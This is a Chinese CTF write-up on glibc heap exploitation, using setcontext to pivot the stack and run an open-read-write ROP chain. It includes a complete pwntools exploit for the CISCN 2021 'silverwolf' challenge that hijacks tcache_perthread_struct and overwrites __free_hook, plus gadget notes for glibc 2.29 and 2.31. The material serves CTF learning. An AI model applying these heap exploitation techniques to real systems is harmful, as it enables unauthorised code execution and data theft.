关于利用setcontext打ORW 前记 那是一个昏暗的晚上,时间已经9:30。我手贱的开了一个题,没想到这题让我彻夜难眠。
setcontext简绍 源码分析(2.27版本及其以前)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 text: 0000000000052180 .text: 0000000000052180 .text: 0000000000052180 .text: 0000000000052180 .text: 0000000000052180 .text: 0000000000052180 public setcontext .text: 0000000000052180 setcontext proc near .text: 0000000000052180 .text: 0000000000052180 .text: 0000000000052180 push rdi .text: 0000000000052181 lea rsi , [rdi +128h ] .text: 0000000000052188 xor edx , edx .text: 000000000005218A mov edi , 2 .text: 000000000005218F mov r10d , 8 .text: 0000000000052195 mov eax , 0Eh .text: 000000000005219A syscall .text: 000000000005219C pop rdi .text: 000000000005219D cmp rax , 0FFFFFFFFFFFFF001h .text: 00000000000521A3 jnb short loc_52200.text: 00000000000521A5 mov rcx , [rdi +0E0h ].text: 00000000000521AC fldenv byte ptr [rcx ].text: 00000000000521AE ldmxcsr dword ptr [rdi +1C0h ].text: 00000000000521B5 mov rsp , [rdi +0A0h ].text: 00000000000521BC mov rbx , [rdi +80h ].text: 00000000000521C3 mov rbp , [rdi +78h ].text: 00000000000521C7 mov r12 , [rdi +48h ].text: 00000000000521CB mov r13 , [rdi +50h ].text: 00000000000521CF mov r14 , [rdi +58h ].text: 00000000000521D3 mov r15 , [rdi +60h ].text: 00000000000521D7 mov rcx , [rdi +0A8h ].text: 00000000000521DE push rcx .text: 00000000000521DF mov rsi , [rdi +70h ].text: 00000000000521E3 mov rdx , [rdi +88h ].text: 00000000000521EA mov rcx , [rdi +98h ].text: 00000000000521F1 mov r8 , [rdi +28h ].text: 00000000000521F5 mov r9 , [rdi +30h ].text: 00000000000521F9 mov rdi , [rdi +68h ].text: 00000000000521F9 .text: 00000000000521FD .text: 00000000000521FD xor eax , eax .text: 00000000000521FF retn
这个函数都是通过rdi寄存器进行赋值操作,对于glibc-2.27版本我们通常从setcontext + 53 开始使用,也就是 mov rsp, [rdi+0A0h] 那一行,在阅读其他师傅的文章后知道是因为上面的 fldenv byte pte [rcx] 会造成程序执行时直接 crash。
这里一共有两个关键点,第一个就是给rsp赋值进行栈迁移,第二个就是一个push操作进行压栈。通过这两个我们来控制程序的执行流
前置知识 劫持tcache_perthread_struct结构体 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 typedef struct tcache_entry { struct tcache_entry *next ; } tcache_entry;typedef struct tcache_perthread_struct { char counts[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct;
堆地址的第一个chunk:
tcache_perthread_struct的chunk头:0x11字节 counts数组一共占用64字节,每个字节对应着一个链表,用来存放对应链表中存放着chunk的数量 0x40字节 entry指针数组是用来存储每个链表中链表头的chunk地址,一共占用8 * 64字节 0x200字节
正好0x251字节
利用思路:
控制counts数组,让tcachebins数量改变,从而达到一定效果。例:伪造tcache为堆基地址+0x10,也就是首个chunk,然后改变0x250大小的chunk数量为7,就可以释放伪造chunk进入unsortebin从而泄露libc基地址
控制enetry指针数组,申请相应大小chunk到指定位置,达到任意地址写的目的
创建或者释放chunk细节 当你创建或者释放一个chunk时,此时rdi指针指向chunk的地址
setcontext打orw攻击思路 以free_hook布置ROP链 通过控制enery数组,来控制输入位置
最后布置stack_pivot_1然后free掉,就会启动ROP链
执行流程为:
free掉chunk调用setcontext,此时rdi指向addr
mov rsp, [rdi+0A0h]把rsp指向ORW1处,mov rcx, [rdi+0A8h] push rcx把ret压栈
setcontext结束直接ret,就能到ORW1执行ROP
例题讲解 [CISCN 2021 初赛]silverwolf
本题只能操作当前chunk,并且有个UAF,所以要想泄露libc地址,需要改counts数组数量为7,然后free掉才能泄露libc地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 from pwn import *from ctypes import *from LibcSearcher import *import sys ls = lambda data :log.success(data) lss = lambda s :ls('\033[1;31;40m%s ---> 0x%x \033[0m' % (s, eval (s))) filename = './silverwolf' url = '' context.terminal = ['tmux' , 'splitw' , '-h' , '-p' , '80' ] context.log_level = 'debug' match = re.match (r'([^:\s]+)(?::(\d+)|\s+(\d+))?' , url) hostname, port = (match .group(1 ), match .group(2 ) or match .group(3 )) if match else (None , None ) p = (remote(hostname, port) if len (sys.argv) > 1 and sys.argv[1 ] == 're' else process(filename))if len (sys.argv) > 1 and sys.argv[1 ] == 'de' : gdbscript = ''' b * main ''' gdb.attach(p, gdbscript=gdbscript) print ("GDB attached successfully" ) elf = ELF(filename) libc = ELF('libc-2.27.so' )''' 1.allocate 2.edit 3. show 4. delete 5. exit Your choice: ''' def add (size ) : p.sendlineafter('Your choice: ' , b'1' ) p.sendlineafter('Index: ' , str (0 )) p.sendlineafter('Size: ' , str (size)) def edit (content ) : p.sendlineafter('Your choice: ' , b'2' ) p.sendlineafter('Index: ' , str (0 )) p.sendlineafter('Content: ' , content)def show () : p.sendlineafter('Your choice: ' , b'3' ) p.sendlineafter('Index: ' , str (0 )) p.recvuntil('Content: ' ) def free () : p.sendlineafter('Your choice: ' , b'4' ) p.sendlineafter('Index: ' , str (0 )) add(0x78 ) free() show() heap_base = u64(p.recv(6 ).ljust(8 , b'\x00' )) - 0x11b0 edit(p64(heap_base + 0x10 )) add(0x78 ) add(0x78 ) edit(p64(0 ) * 4 + p64(0x7000000 )) free() show() libc_base = u64(p.recv(6 ).ljust(8 , b'\x00' )) - 0x70 - libc.sym['__malloc_hook' ] edit(p64(0 ) * 4 + p64(0 )) free_hook = libc_base + libc.sym['__free_hook' ] pop_rax = libc_base + 0x43AE8 pop_rdi = libc_base + 0x215BF pop_rsi = libc_base + 0x23EEA pop_rdx = libc_base + 0x1B96 read = libc_base + libc.sym['read' ] write = libc_base + libc.sym['write' ] setcontext = libc_base + libc.sym['setcontext' ] + 53 syscall = libc_base + libc.sym['read' ] + 0xf flag_addr = heap_base + 0x1000 ret = libc_base + 0x8AA orw1 = heap_base + 0x3000 orw2 = heap_base + 0x3060 stack_pivot_1 = heap_base + 0x2000 stack_pivot_2 = heap_base + 0x20A0 payload = p64(0 ) * 8 payload += p64(free_hook) payload += p64(0 ) payload += p64(flag_addr) payload += p64(stack_pivot_1) payload += p64(stack_pivot_2) payload += p64(orw1) payload += p64(orw2) edit(payload) lss('heap_base' ) lss('libc_base' ) lss('syscall' ) orw = p64(pop_rdi) + p64(flag_addr) orw += p64(pop_rax) + p64(2 ) orw += p64(pop_rsi) + p64(0 ) orw += p64(syscall) orw += p64(pop_rdi) + p64(3 ) orw += p64(pop_rsi) + p64(orw1) orw += p64(pop_rdx) + p64(0x30 ) orw += p64(read) orw += p64(pop_rdi) + p64(1 ) orw += p64(write) add(0x18 ) edit(p64(setcontext)) add(0x38 ) edit('./flag' ) pause() add(0x68 ) edit(orw[:0x60 ]) add(0x78 ) edit(orw[0x60 :]) add(0x58 ) edit(p64(orw1) + p64(ret)) add(0x48 ) free() p.interactive()
补充说明 前面由于之学了老版本,发现还是不够用,现在分析记录一下新版本
glibc2.29版本及其以前
setcontext的变化,这里看一下glibc-2.29,可以看到由原来的rdi + 偏移改成了 rdx + 偏移 ,直接覆盖free_hook为setcontext无法完成赋值
这里需要中转,先用rdi给rdx赋值,再利用setcontext,但是free_hook只有一次写的机会,所以写入的gadget必须同时完成这两个操作 ==> 1. 先用rdi给rdx赋值 2. 调用setcontext+53
这里介绍几个有用的gadget,用来覆盖free_hook,实现栈迁移:
搜索命令:ROPgadget –binary libc-2.31.so –only “mov|call” | grep -E “: mov rdx, qword ptr [rdi”
glibc2.31版本 和之前版本的区别是setcontext 的位置变成了 setcontext+61